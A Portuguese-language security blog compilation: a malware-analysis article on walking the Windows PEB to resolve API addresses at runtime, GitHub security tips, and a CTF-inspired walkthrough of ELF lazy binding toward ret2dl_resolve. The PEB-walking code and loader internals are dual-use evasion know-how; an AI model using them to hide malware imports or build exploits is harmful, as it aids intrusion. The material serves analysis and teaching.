    Utilizando o comando !peb no WinDbg: 0:013> !peb PEB at 00000049bc0a6000     InheritedAddressSpace:    No     ReadImageFileExecOptions: No     BeingDebugged:            Yes     ImageBaseAddress:         00007ff72dbf0000     NtGlobalFlag:             0     NtGlobalFlag2:            0     Ldr                       00007ff8d983a4c0     Ldr.Initialized:          Yes     Ldr.InInitializationOrderModuleList: 000001c697902a40 . 000001c6979a7f50     Ldr.InLoadOrderModuleList:           000001c697902bb0 . 000001c6979a6fc0     Ldr.InMemoryOrderModuleList:         000001c697902bc0 . 000001c6979a6fd0                     Base TimeStamp                     Module             7ff72dbf0000 4178aed3 Oct 22 03:55:15 2004 C:\windows\system32\notepad.exe             7ff8d96d0000 7b5414ec Jul 26 21:12:28 2035 C:\windows\SYSTEM32\ntdll.dll             7ff8d7ea0000 4e5c27cf Aug 29 20:59:11 2011 C:\windows\System32\KERNEL32.DLL             7ff8d7020000 458acb5b Dec 21 14:58:51 2006 C:\windows\System32\KERNELBASE.dll             7ff8d7d50000 af7f8e80 Apr 21 06:12:32 2063 C:\windows\System32\GDI32.dll [...] Utilizando a ferramenta XNTSV do Hors:
    Também podemos obter o endereço com as funções RltGetCurrentPeb() ou  NtQuerySystemInformation. Enfim, você já viu que jeito tem. ? DICA DE ANÁLISE: Sempre que você ver uma das funções citadas acima ou trechos de código que acessem os locais citados (fs:[0x30] em x86, por exemplo) fique atento e tente descobrir o que exatamente está sendo acessado.
    Como já foi comentado, a PEB possui diversos campos importantes em sua estrutura. Consequentemente, estes campos são acessados com frequência por diversas funções da API do Windows. A título de curiosidade, abaixo estão alguns exemplos (em x64) de funções que consultam campos da PEB diretamente:
    IsDebuggerPresent: consulta o campo BeingDebugged para saber se o processo está sendo debuggado ou não:
    GetProcessHeap: obtém um handle para a Heap do processo em questão através do campo ProcessHeap:
    GetModuleHandle: obtém um “handle” (endereço base, neste caso) do módulo especificado. Caso o parâmetro da função seja zero (perceba a instrução test rcx, rcx a seguir), o endereço base do próprio módulo é obtido através do campo ImageBaseAddress da PEB:
    Ok, a PEB tem vários campos interessantes, mas qual deles tem a ver com os endereços das funções que queremos? Vamos lá!
    Loaded Modules Database
    Resumidamente, no processo de carregamento de um binário PE, uma das tarefas do Loader do Windows é identificar as DLLs das quais o binário depende. Ele faz isso parseando o Import Directory do binário. Caso alguma função pertença à uma DLL que ainda não está carregada em memória, ela é mapeada no processo e suas dependências resolvidas da mesma forma explicada anteriormente: parseando a lista de imports e carregando as devidas DLLs que exportam estes imports até que todas as dependências sejam satisfeitas.
    Agora pense no seguinte cenário: e se a função LoadLibrary for chamada para carregar uma DLL qualquer em tempo de execução? Como que o loader checa se a DLL em questão já foi carregada? Não seria muito performático fazer tudo de novo. Por estes e outros motivos, o loader precisa de uma forma de controlar o que já foi carregado no processo.
    Dentro da PEB existe um campo chamado Ldr do tipo PPEB_LDR_DATA e este campo representa o que podemos chamar de “Loaded Modules Database”. Este campo possui três listas duplamente linkadas que contêm informações sobre os módulos já carregados dentro do espaço de endereço de um processo.
    E por que três listas? No fim das contas todas mostram a mesma coisa, mas são organizadas de formas diferentes, sendo uma organizada de acordo com a ordem de carregamento (InLoadOrderModuleList), outra de acordo com o endereço que o módulo foi mapeado (InMemoryOrderModuleList) e outra via ordem de inicialização (InInitializationOrderModuleList). Segue a estrutura PPEB_LDR_DATA, de acordo com o WinDbg:
    0:010> dt _PEB_LDR_DATA ntdll!_PEB_LDR_DATA    +0x000 Length           : Uint4B    +0x004 Initialized      : UChar    +0x008 SsHandle         : Ptr64 Void    +0x010 InLoadOrderModuleList : _LIST_ENTRY    +0x020 InMemoryOrderModuleList : _LIST_ENTRY    +0x030 InInitializationOrderModuleList : _LIST_ENTRY    +0x040 EntryInProgress  : Ptr64 Void    +0x048 ShutdownInProgress : UChar    +0x050 ShutdownThreadId : Ptr64 Void [...] Talvez você tenha notado que as três listas mencionadas anteriormente são do tipo LIST_ENTRY e seguem o seguinte formato:
    typedef struct _LIST_ENTRY {   struct _LIST_ENTRY *Flink;   struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; A sacada aqui é que estas estruturas estão contidas dentro de uma estrutura maior chamada LDR_DATA_TABLE_ENTRY (apresentada com mais detalhes em breve). Dentro de cada LDR_DATA_TABLE_ENTRY há um campo também do tipo LIST_ENTRY para cada uma das três listas, onde o campo Blink aponta para a entrada anterior da lista e o campo Flink para a entrada posterior. Quando a entrada atual é igual à primeira entrada, atingimos o fim da lista. 

    *Se você não entendeu muito bem, vale dar uma lida sobre listas duplamente ligadas e na documentação da estrutura.
    Durante o processo de carregamento, para cada DLL mapeada, o loader adiciona uma entrada do tipo LDR_DATA_TABLE_ENTRY na lista. Quando um módulo é “descarregado”, esta entrada é removida. 
    *Essa inserção e remoção se aplica também quando chamamos funções como LoadLibrary e FreeLibrary, por exemplo. 
    Abaixo são alguns dos campos presentes em cada uma destas entradas do tipo LDR_DATA_TABLE_ENTRY:
    0:010> dt _LDR_DATA_TABLE_ENTRY ntdll!_LDR_DATA_TABLE_ENTRY    +0x000 InLoadOrderLinks : _LIST_ENTRY    +0x010 InMemoryOrderLinks : _LIST_ENTRY    +0x020 InInitializationOrderLinks : _LIST_ENTRY    +0x030 DllBase          : Ptr64 Void    +0x038 EntryPoint       : Ptr64 Void    +0x040 SizeOfImage      : Uint4B    +0x048 FullDllName      : _UNICODE_STRING    +0x058 BaseDllName      : _UNICODE_STRING    +0x068 FlagGroup        : [4] UChar    +0x068 Flags            : Uint4B    +0x068 PackagedBinary   : Pos 0, 1 Bit    +0x068 MarkedForRemoval : Pos 1, 1 Bit    +0x068 ImageDll         : Pos 2, 1 Bit    +0x068 LoadNotificationsSent : Pos 3, 1 Bit    +0x068 TelemetryEntryProcessed : Pos 4, 1 Bit    +0x068 ProcessStaticImport : Pos 5, 1 Bit [...] Como podemos ver, bastante informação é exposta, incluindo o nome do módulo, o endereço base e o entry point. 
    *Em x86 o campo Ldr fica 0xC bytes de distância do endereço base da PEB. Já x64, essa distância é de 0x18 bytes.
    Agora que sabemos como o loader controla os módulos carregados e como acessar esta informação, o que nos falta para obter o endereço base dos módulos e suas funções exportadas é codar!
    Implementação
    Uma vez que sabemos que é possível obter o endereço base e o nome dos módulos carregados de um processo de forma estável, podemos percorrer esta lista de módulos a fim de obter o endereço base dos módulos que queremos. O trecho de código abaixo é uma demonstração de como poderíamos percorrer essa lista e printar todos os nomes e endereços base dos módulos mapeados dentro do nosso processo:
    inline PPEB get_peb() { #if defined(_WIN64)     return (PPEB)__readgsqword(0x60); #else     return (PPEB)__readfsdword(0x30); } int main() {     PPEB peb = get_peb();     PLDR_DATA_TABLE_ENTRY current_module = NULL;     PLIST_ENTRY current_entry = peb->Ldr->InLoadOrderModuleList.Flink;     while (current_entry != &peb->Ldr->InLoadOrderModuleList && current_entry != NULL){         current_module = CONTAINING_RECORD(current_entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);         printf("Module Name: %ls\n", current_module->BaseDllName.Buffer);         printf("Module Image Base Address: 0x%p\n", current_module->DllBase);         current_entry = current_entry->Flink;     } } Com a devida checagem de qual módulo estamos interessados e com seu endereço base em mãos, podemos parsear o módulo como se fosse um binário PE (até porque ele é) e então parsear sua tabela de exportação. Nesta tabela estão localizados todos os nomes/ordinais e endereços das funções que um módulo exporta (já viu onde isso pode dar, né?).
    Analisando a tabela de exportação da kernel32.dll, por exemplo, podemos obter o endereço da função LoadLibrary em tempo de execução. Ao carregarmos o módulo desejado com a LoadLibrary, podemos parsear a tabela de exportação do módulo e obter a função exportada que quisermos. E não! Não precisamos da GetProcAddress uma vez que já vamos ter acesso ao endereço base de todos os módulos que precisamos e isto é o suficiente para chegarmos até a tabela de exportação.
    Dependendo das funções nas quais você tem interesse, nem da LoadLibrary você vai precisar, uma vez que, por padrão, é bem provável que módulos comuns como o kernel32.dll, já tenham sido carregados pelo loader no seu processo.
    *Caso você queira garantir que um módulo específico seja mapeado no seu processo, você pode importar no seu código qualquer função aleatória exportada por tal módulo. Desta forma, você irá forçar o loader a mapeá-lo em tempo de carregamento.
    DICAS DE ANÁLISE: 
    Não confie 100% na PEB. Quando falo em estabilidade, estou me referindo ao fato dela estar sempre presente na memória do processo e não que seus campos refletem a realidade sempre. Qualquer um que tenha acesso à memória do processo (o próprio malware rodando, por exemplo) pode alterar os campos da PEB.  Módulos injetados via Reflective Injection, por exemplo, burlam esta adição na lista de módulos feita pelo loader, como já comentado no nosso artigo anterior. Nunca assuma que um software não utiliza uma determinada função só porque ela não está presente na tabela de importação. Já vimos que isto está bem longe de ser verdade. Colocar breakpoints em funções como LoadLibrary e GetProcAddress, mesmo quando um software utiliza Runtime Linking é uma alternativa interessante. No entanto, não ache que essas funções são sempre necessárias. A ntdll.dll no fim das contas é tudo que você precisa (até porque a LoadLibrary não é quem faz o verdadeiro trabalho, certo? ?). Lembrando que a ntdll.dll é sempre o primeiro módulo a ser mapeado em um processo e está sempre presente em aplicações em user-mode. Vou deixar a implementação completa como desafio para você que está lendo. Vale também jogar seu binário em um debugger e analisá-lo, passo a passo, para fixar o que foi aprendido neste artigo.
    Considerações e dicas finais
    Uma das grandes vantagens de se utilizar a PEB para efetuar diversas atividades é a garantia de que ela sempre estará presente na memória de um processo. Se você leu o artigo anterior desta série, deve lembrar sobre Position Independent Code e o quanto este tipo de estabilidade ajuda em abordagens assim.
    Em malwares, geralmente a técnica de Runtime Linking é implementada dentro de uma função que retorna o endereço da função desejada. Para estes casos, a forma mais rápida de se descobrir qual função está sendo obtida no momento é debuggar o binário, dar um Step Over sobre a função que obtém o endereço e olhar o valor de retorno (considerando que você não quer investir seu tempo analisando a função que parseia a PEB).
    No entanto, não espere que isto seja sempre verdade e que a implementação seja tão direta, uma vez que muitas técnicas podem ser utilizadas para tornar a análise mais complexa. Algumas destas técnicas são:
    Hashing Functions para esconder o nome dos módulos e funções sendo buscadas. Inserção de junk code (trechos de código totalmente irrelevantes) para tornar a análise mais chata e complexa. Execução da função desejada dentro da própria função que parseia a PEB. Inserção dos endereços obtidos em uma tabela similar à Import Address Table (IAT), porém criada e mantida pelo código do malware ou em variáveis globais que serão utilizadas posteriormente. Nos casos 1 e 2, se o endereço da função for retornado pela função que parseia a PEB, independentemente da técnica implementada dentro dela, o endereço da função será retornado e fica fácil identificá-lo. Já para os casos 3 e 4, nenhum endereço será retornado e você precisará analisar a função de parsing da PEB para saber onde estes endereços de funções estão sendo resolvidos.
    A chave para identificar a técnica de Runtime Linking é ficar atento a padrões, pois por mais que um malware possa implementar técnica X ou Y para esconder a técnica, a PEB ainda precisa ser parseada e a lista de módulos carregados ainda precisa ser obtida.
    O trecho abaixo é parte de um shellcode gerado pelo framework Cobalt Strike. Este shellcode implementa a técnica de Runtime Linking e utiliza ROR13 como sua hashing function. Note como os padrões de acesso a PEB e a export table dos módulos estão bem claros independente do resto:

    A imagem abaixo é a visão tanto do código decompilado quanto disassemblado do Ransomware Conti. O padrão a ser notado aqui é o mais comum entre malwares: implementação de uma função que cuida do hashing, do parsing da PEB, e então retorna o endereço da função desejada para ser utilizado posteriormente:

     

    Cada caso vai ser um caso e o céu é o limite. No entanto, ao sabermos como o sistema operacional lida com tais componentes e como identificar tais padrões, fica muito mais prático lidar com possíveis variações da técnica. ?
    Espero que tenham gostado do artigo e qualquer dúvida, sugestão ou feedback, é só comentar que estou à disposição.
    Abs,
    Leandro

    Gabriel Galdino
    O GitHub é reconhecido como uma das principais redes de gerenciamento e armazenamento de código do mundo, sendo uma ferramenta que integra o cotidiano de um Dev, seja qual for o seu nível de experiência.
    Mas será que seu código no GitHub está sendo armazenado com segurança?
    O GitHub fornece várias ferramentas e configurações voltadas à segurança. Apesar disso, segundo uma pesquisa de 2019, o problema de segurança no GitHub está relacionado, muitas vezes, com o próprio comportamento de seus usuários por falta de conhecimento em desenvolvimento seguro (AppSec).
    Neste post, abordaremos algumas dicas de segurança importantes que toda pessoa dev precisa ficar ligada ao manter seu repositório por lá! Ah, e não deixe de conferir também um artigo sobre como manter seu código seguro no GitHub com a integração da Conviso Platform.
    Vamos às dicas:
     
    Não armazene credenciais como código ou configuração no seu GitHub
    Apesar de parecer uma recomendação óbvia, é muito comum o armazenamento de senhas em repositórios no GitHub. Isso pode acontecer de forma indireta ou involuntária.
    Para isso, existem ferramentas como git-secrets, Vault, Keycloak que analisam estaticamente seus commits para garantir que você não tente enviar senhas ou informações confidenciais em seus repositórios.
    Além do uso das ferramentas, uma recomendação muito importante é a conscientização de todo o time de desenvolvimento no policiamento de ações no fluxo de trabalho, buscando sempre validar a segurança do código e realizar auditorias de segurança. 
     
    Adicione um arquivo SECURITY.md em seu projeto
    Todos sabem da importância de ter um README.md bem escrito e estruturado em seu repositório. Com o SECURITY.md não deve ser diferente. Esse arquivo representa a política de segurança do seu código, destacando as principais informações que envolvem o tema.
    O objetivo do SECURITY.md é documentar formalmente os processos e procedimentos relacionados à segurança, incluindo relatórios de vulnerabilidade, requisitos de confidencialidade, padrões de criptografia, acessibilidade de token, uso de endereço de e-mail, requisitos HTTPS e entre outros procedimentos para manter a integridade dos dados da sua aplicação.
    Alguns tópicos importantes que você pode se guiar para estruturar seu arquivo SECURITY.md:
    ●     Política de divulgação;
    ●     Política de atualização de segurança;
    ●     Configuração relacionada à segurança;
    ●     Lacunas de segurança reconhecidas e melhorias futuras.
     
    De modo geral, um arquivo SECURITY.md representa a política de segurança para seu código no GitHub. Você pode encontrar exemplos de arquivos SECURITY.md no repositório Apache Storm, que define estruturas de organização semelhantes à apresentada acima.
     
    Gerencie os níveis de acesso e permissões de membros do seu repositório
    Desenvolvedores com acesso ao seu repositório podem receber permissões além do que o exigido pelo escopo de sua função. Desenvolvedores podem acidentalmente mudar as configurações de seu repositório, como alterar sua visibilidade.
    Para evitar isso, recomendamos definir a capacidade de alterar a visibilidade do repositório apenas para os proprietários da organização.
    Faça isso navegando até "Permissões de membro" nas configurações da sua organização e gerenciando essas permissões para manter o controle e segurança de acessos.
    Lembre-se de verificar regularmente os níveis de acesso de desenvolvedores terceirizados/externos.
     
    Estabeleça uma revisão de código, antes de fazer o commit
    Adicionar revisões de código ajuda a evitar que códigos maliciosos sejam incorporados em seus repositórios.
    Assim, as práticas de revisão de segurança facilitam a identificação de vulnerabilidades e problemas de risco de segurança de longo prazo, evitando problemas futuros.
    Para lidar com isso, o próprio GitHub possui um recurso de pull_request que permite que membros autorizados da equipe discutam e revisem possíveis alterações antes de mesclar o código no branch base. Dessa forma, quando uma pull request é feita, os responsáveis podem ser notificados para revisão.
     
    Determine testes de segurança aos PRs
    A própria plataforma do GitHub possui uma ferramenta conhecida como Git Hook orientada a eventos que permite enviar solicitações HTTP POST a um serviço de sua escolha. Existem vários eventos que você pode definir para a ferramenta agir, sendo um dos mais úteis o evento pull_request para testar as alterações de código.
     
    Audite qualquer código que for importar ao GitHub
    Durante a construção de uma aplicação, há momentos em que é muito fácil adicionar blocos de códigos externos para agilizar e facilitar o processo de desenvolvimento. Ao mesmo tempo, partes do código de sua aplicação também podem acabar entrando em outros repositórios.
    No entanto, importação de código legado ou de pacotes externos pode acabar adicionando vulnerabilidades em seu repositório, como o Log4j.
    Dessa forma, definir um requisito de segurança para auditar todo o código que é carregado no GitHub é uma prática muito importante para proteger sua aplicação de códigos legados ou com vulnerabilidades.
     
    Planeje seu projeto com segurança em mente
    Uma prática importante para o desenvolvimento de qualquer tipo de aplicação é o planejamento de segurança antes mesmo de iniciar a codificação.
    Fazendo esse planejamento de segurança, se preocupando também com a qualidade, você escreverá um código melhor e mais seguro, atraindo atenção aos seus repositórios. Dessa forma, ao construir seu projeto com segurança, menos tempo será gasto tratando vulnerabilidades no futuro.
    Além de planejar, integrar seu projeto com plataformas de segurança contribui para a centralização das informações, estruturação do processo de revisão de cada commit e gerenciamento de vulnerabilidades. 
    Se você é dev ou tem interesse em saber mais sobre segurança de aplicações, não deixe de conferir o canal de YouTube da Conviso - estamos criando vários vídeos super informativos e dinâmicos sobre AppSec por lá.
    Inscreva-se no YouTube da Conviso!
     
     

    Fabiano Furtado
    Introdução
     
    Escrevi este artigo pois me deparei recentemente, durante um CTF, com uma técnica Return Oriented Programming (ROP) que não conhecia, chamada de ret2dl ou ret2dl_resolve, e precisei entender como esse processo de chamada de uma função externa funciona (pelo menos, o seu início!).
    Este texto foi baseado nestes excelentes artigos em inglês https://ypl.coffee/dl-resolve/ e https://syst3mfailure.io/ret2dl_resolve, mas complementei o assunto com algumas informações extras que achei relevante. Deixo também como referência um paper de 2015 muito bem escrito da USENIX  para estudos. Recomendo a sua leitura.
    Para alinharmos sobre o que foi usado, este artigo tem como base a arquitetura AMD x86 64 bits, sistema operacional Linux, a função externa puts(), e o programa helloworld.c compilado:
    $ cat <<'EOF' > helloworld.c  # usando o "Here Documents" do bash para criarmos o arquivo // helloworld.c // Compilar com: gcc -Wall -O2 -Wl,-z,lazy helloworld.c -o helloworld //                                     *---> "lazy-binding" #include <stdio.h> int main(void) {   puts("Hello World!"); // função externa: o código da "puts()" está localizado na LIBC   return 0; } EOF Do ponto de vista da funcionalidade, este código é BEM simples pois "só" imprime "Hello World" na tela. Entretanto, do ponto de vista do sistema operacional, o processo é bem mais complexo (deixo aqui um link interessante sobre o assunto: https://lwn.net/Articles/631631/). Como será visto, ao se chamar a puts(), acontecem várias chamadas de funções externas, com o objetivo de se descobrir qual é o endereço dessa função.
    O processo de chamada de uma função externa é complexo, mas por que isso acontece?
    Resumidamente, por causa das proteções que um binário ELF moderno possui. Atualmente, há vários métodos para se proteger binários ELF.
    Podemos compilar o programa usando o PIE (Executável Independente de Posição), onde todas as suas dependências (normalmente shared objects) são carregadas em locais aleatórios na memória virtual sempre que o aplicativo é executado.
    Isso acontece graças a uma implementação do kernel chamada ASLR (Address Space Layout Randomization) e, teoricamente, fica difícil de se prever em qual endereço de memória virtual o binário foi carregado, principalmente em programas compilados em 64 bits, devido ao seu grande espaço de endereçamento.
    Tendo em mente este conceito de randomização de endereços, ao se executar um binário, a LIBC é carregada em memória e o endereço de suas funções são descobertos em tempo de execução. Essa descoberta pode acontecer, basicamente, de duas maneiras, dependendo de como o binário foi compilado (na verdade, essa é uma característica do linker, mais especificamente do GNU ld, e não do compilador GCC):
    Partial RELRO: O endereço da função externa é descoberto no momento de se chamar a própria função, em um processo chamado de lazy-binding ou, traduzindo, "amarração tardia" (link editado com -Wl,-z,lazy). Neste cenário, a inicialização do binário é mais rápida e a parte não-PLT da seção GOT (.got) é read-only, mas a seção .got.plt é writable. Vou explicar sobre essas seções mais adiante. Full RELRO: Todos os endereços das funções externas são descobertos ao se iniciar o binário (link editado com -Wl,-z,now), levando a um processo de inicialização mais demorado. Todo o GOT (.got e .got.plt) é marcado como somente read-only. Mas o que é RELRO?
    Relocation Read-Only (RELRO) é uma técnica genérica de mitigação de exploração para proteger as seções de dados de um binário ou processo ELF.
    Neste processo de descoberta do endereço da função externa, as seções .got e .got.plt são usadas?
    Sim! Essas duas seções são as mais importantes para o processo e trabalham em conjunto no processo de lazy-binding: o Procedure Linkage Table (PLT)  e o Global Offset Table (GOT). A seção .plt é sempre read-only e contém código executável, responsável por iniciar o processo de descoberta do endereço da função externa e fazer a sua chamada. 
    A GOT não contém código executável e é responsável por armazenar os endereços das funções externas. Abaixo mostrarei o dump de cada uma. Cada função externa que foi declarada no binário possui uma área na seção got.plt, para que seu endereço virtual seja armazenado, e uma área na .plt, onde será chamada (através de, literalmente, um jump).
     A seção <nome da função>@plt é sempre usada quando as funções externas precisam ser chamadas pelo binário (você entenderá isso no dump). Neste exemplo, temos a puts@plt.
    Nosso binário foi link editado com o modo lazy-binding, ou seja, possui Parcial RELRO. Seguem algumas informações sobre:
    $ file helloworld helloworld: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ccf36bd5d7298575faf6c5d7612b07306264be7d, for GNU/Linux 4.4.0, not stripped $ ldd helloworld    # como podem perceber, nosso binário possui 3 dependências     linux-vdso.so.1 (0x00007ffe78cb2000)     libc.so.6 => /usr/lib/libc.so.6 (0x00007efd5a156000)     /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007efd5a38f000) $ checksec -f helloworld [*] '/tmp/helloworld'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      PIE enabled Iniciando a chamada da "puts()"
     
    Por onde começamos? Vamos fazer um objdump em nosso binário, mais especificamente na chamada da puts( de dentro da main():
    $ objdump -dM intel helloworld    # obs: saída com adaptações ... 0000000000001040 <main>:     0x1040:     48 83 ec 08             sub    rsp,0x8     0x1044:     48 8d 3d b9 0f 00 00    lea    rdi,[addr of "Hello World!"] # RDI aponta para "Hello World!\n"     0x104b:     e8 e0 ff ff ff          call   0x1030                       # call <puts@plt> ... Obs: Como o binário está compilado com o PIE ativo, a saída do objdump mostra apenas os offsets (deslocamentos) das instruções.
    Para se calcular o endereço virtual onde a função foi carregada, pega-se o endereço base do binário em execução (que é dinâmico devido ao PIE) e soma-se esse offset que está associado à função. No texto, algumas vezes descrevo endereço, mas, na verdade, estou querendo dizer offset. Enfim...
    Exemplo: 0x555555554000 (endereço base dinâmico) + 0x1040 (offset da main()) = 0x555555555040 (endereço virtual da main())
    Com o dump, verificamos que a instrução call puts()(0x104b) é feita para um código que está localizado na seção .plt, mais especificamente call <puts@plt>, e este código da .plt é responsável por chamar a puts()na LIBC.
    Para entendimento, seguem os códigos da PLT e da GOT para a função puts():
    0000000000001030 <puts@plt>:            # código responsável por chamar a "puts()" na LIBC     0x1030:     ff 25 e2 2f 00 00       jmp    QWORD PTR [0x4018]    # <puts@GLIBC_2.2.5>     0x1036:     68 00 00 00 00          push   0x0     0x103b:     e9 e0 ff ff ff          jmp    0x1020 <_init+0x20>   # jump para o início da ".plt" 0000000000004000 <_GLOBAL_OFFSET_TABLE_>: ...     0x4018:     36 10 00 00 00 00 00 00    # "0x1036" em "little-endian", apontando inicialmente para a "push" da "puts@plt". A call 0x1030 # <puts@plt> feita no endereço 0x104b da main()executa a instrução jmp QWORD PTR [0x4018]. O endereço apontado por [0x4018], resulta em 0x1036 (este código tem o mesmo efeito que jmp 0x1036), que está na própria puts@plt.
    Como esta é a primeira chamada para a puts(), ainda não sabemos o verdadeiro endereço desta função na LIBC (lazy-binding) e o compilador inicia a GOT (em 0x4018) com o endereço 0x1036, que pertence a puts@plt (veja o comentário feito em 0x4018 acima).
    O objetivo é descobrir o endereço da puts() dentro do shared object libc.so.6, para que o mesmo seja gravado na GOT no endereço 0x4018, substituindo o atual endereço 0x1036 pelo endereço virtual dessa função externa.
    Quando o código em 0x1036 é executado, o mesmo dá um push 0x0 para a stack (segundo parâmetro reloc_index da função _dl_runtime_resolve() - explicarei essa função e parâmetro depois), e depois dá um jmp 0x1020 para o início da PLT, onde fica a call <_dl_runtime_resolve@plt>.
    0000000000001020 <puts@plt-0x10>: # início da PLT "call <_dl_runtime_resolve@plt>"     0x1020:     ff 35 e2 2f 00 00       push   QWORD PTR [0x4008]      # 0x4008: "link_map"  <GOT+0x8>     0x1026:     ff 25 e4 2f 00 00       jmp    QWORD PTR [0x4010]      # 0x4010: "_dl_runtime_resolve()"  <GOT+0x10> Mas que função é essa _dl_runtime_resolve()?
    No meu caso, a PLT chama a função _dl_runtime_resolve_xsavec(), responsável por descobrir, de alguma forma, o endereço da puts() na LIBC (para efeitos didáticos, vou considerar o nome da _dl_runtime_resolve_xsavec() como _dl_runtime_resolve()).
    A instrução push [0x4008], localizada no endereço 0x1020, coloca o primeiro parâmetro link_map da função _dl_runtime_resolve() na stack. Por curiosidade, este endereço do struct "link_map" pertence ao espaço de endereçamento do dynamic linker/loader /lib64/ld-linux-x86-64.so.2, bem como a função _dl_runtime_resolve()(eu achava que esta _dl_runtime_resolve()era uma função da LIBC, mas descobri que não era usando o GDB durante a depuração, através do comando vmmap. Ele mostra todas as libs carregadas e o mapa de endereçamento virtual. (BEM útil!). Com estes dois parâmetros configurados na stack, podemos chamar a função _dl_runtime_resolve(link_map, reloc_index).
    gef➤  vmmap [ Legend:  Code | Heap | Stack ] Start              End                Offset             Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/helloworld 0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/helloworld 0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/helloworld 0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/helloworld 0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/helloworld 0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap] 0x00007ffff7d8a000 0x00007ffff7d8c000 0x0000000000000000 rw-  0x00007ffff7d8c000 0x00007ffff7db8000 0x0000000000000000 r-- /usr/lib/libc.so.6 0x00007ffff7db8000 0x00007ffff7f2e000 0x000000000002c000 r-x /usr/lib/libc.so.6 0x00007ffff7f2e000 0x00007ffff7f82000 0x00000000001a2000 r-- /usr/lib/libc.so.6 0x00007ffff7f82000 0x00007ffff7f83000 0x00000000001f6000 --- /usr/lib/libc.so.6 0x00007ffff7f83000 0x00007ffff7f86000 0x00000000001f6000 r-- /usr/lib/libc.so.6 0x00007ffff7f86000 0x00007ffff7f89000 0x00000000001f9000 rw- /usr/lib/libc.so.6 0x00007ffff7f89000 0x00007ffff7f98000 0x0000000000000000 rw-  0x00007ffff7fc0000 0x00007ffff7fc4000 0x0000000000000000 r-- [vvar] 0x00007ffff7fc4000 0x00007ffff7fc6000 0x0000000000000000 r-x [vdso] 0x00007ffff7fc6000 0x00007ffff7fc8000 0x0000000000000000 r-- /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7fc8000 0x00007ffff7fef000 0x0000000000002000 r-x /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7fef000 0x00007ffff7ffa000 0x0000000000029000 r-- /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000034000 r-- /usr/lib/ld-linux-x86-64.so.2 0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000036000 rw- /usr/lib/ld-linux-x86-64.so.2 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] Importante: os parâmetros para a função _dl_runtime_resolve()estão sendo passados pela stack (de acordo com a Linux x86_64 Calling Convention, os registradores rdi, rsi, rdx, rcx, r8 e r9 são reservados para a passagem de parâmetros das funções), "quebrando" esta calling convention da arquitetura Linux x86_64. Por que isso acontece? 
    Os registradores da Calling Convention ficam reservados para a passagem dos parâmetros da função em evidência: a puts()utiliza o registrador rdi para armazenar o endereço do parâmetro Hello World! (0x1044: lea rdi,[addr of Hello World!]). Como os registradores estão "reservados", a passagem de parâmetro da _dl_runtime_resolve() é feita utilizando-se a stack. Achei bem interessante essa "quebra", pois pensava que sempre teríamos de respeitar essa Calling Convention... bem, nem sempre! ?
    Quando utilizamos o Parcial RELRO, as entradas da .got.plt ficam configuradas assim:
    offset para a seção .dynamic (calculado durante o processo de link-edição); endereço da link_map (armazenado ao se iniciar o ELF); endereço da função _dl_runtime_resolve() (armazenado ao se iniciar o ELF); endereço da puts()(descoberto ao se chamar a própria função); Vale lembrar que cada entrada da .got.plt possui 8 bytes (64 bits).
    Estes conceitos podem parecer confusos, mas não são. Entre no GDB e faça o debugging da main(), passo a passo, entrando em cada função, e você entenderá melhor o que foi descrito até aqui. 
    Use comandos simples do GDB como ni, si, vmmap e b*main para fazer a depuração, disas <endereço> para o disassembly e x/6gx <endereço> para verificar a memória.
    Percebeu que um programa simples esconde processos bem mais complexos que, talvez, você nem desconfiava que existisse? Legal, né? Então, vamos continuar!

    Por dentro da "_dl_runtime_resolve()"
    Como descrito anteriormente, antes de chamarmos a _dl_runtime_resolve(), as seguintes estruturas são utilizadas durante processo: .plt e .got.plt
    Depois que entramos nessa função, as estruturas \.dynamic, .rela.plt, .dynsym e .dynstr são utilizadas para encontrarmos o endereço da puts().
    Mas, afinal, o que faz a _dl_runtime_resolve()? De forma geral:
    Encontra a string puts\0, através das estruturas .dynamic, .rela.plt, .dynsym e .dynstr; Procura a puts()em todas as libs carregadas (shared objects) e encontra o seu endereço dinâmico na LIBC; Atualiza o endereço dinâmico da puts()na 4a entrada da seção .got.plt (0x4018); Faz um jump para puts()(apenas esta vez. Na próxima chamada, a função será chamada diretamente pela PLT - endereço 0x1030); Neste artigo, vamos mostrar em detalhes este primeiro item.
    Cada entrada da seção .dynamic possui 16 bytes de tamanho, e é composta por dois campos: d_tag (8 bytes) e d_val (8 bytes). O campo d_val armazena os offsets para seções .rela.plt, .dynsym e .dynstr. Veja:
    $ readelf -d helloworld     # saída com modificações Dynamic section at offset 0x2df8 contains 26 entries:  d_tag    Type                         Name/Value  0x01   (NEEDED)             Shared library: [libc.so.6]  ...  0x05   (STRTAB)             0x0488          # d_val = 0x0488 - offset para ".dynstr"  0x06   (SYMTAB)             0x03e0          # d_val = 0x03e0 - offset para ".dynsym"  ...  0x17   (JMPREL)             0x0618          # d_val = 0x0618 - offset para ".rela.plt" O campo d_tag armazena um valor inteiro para cada estrutura do ELF. Veja as definições em https://code.woboq.org/userspace/glibc/elf/elf.h.html. Por exemplo:
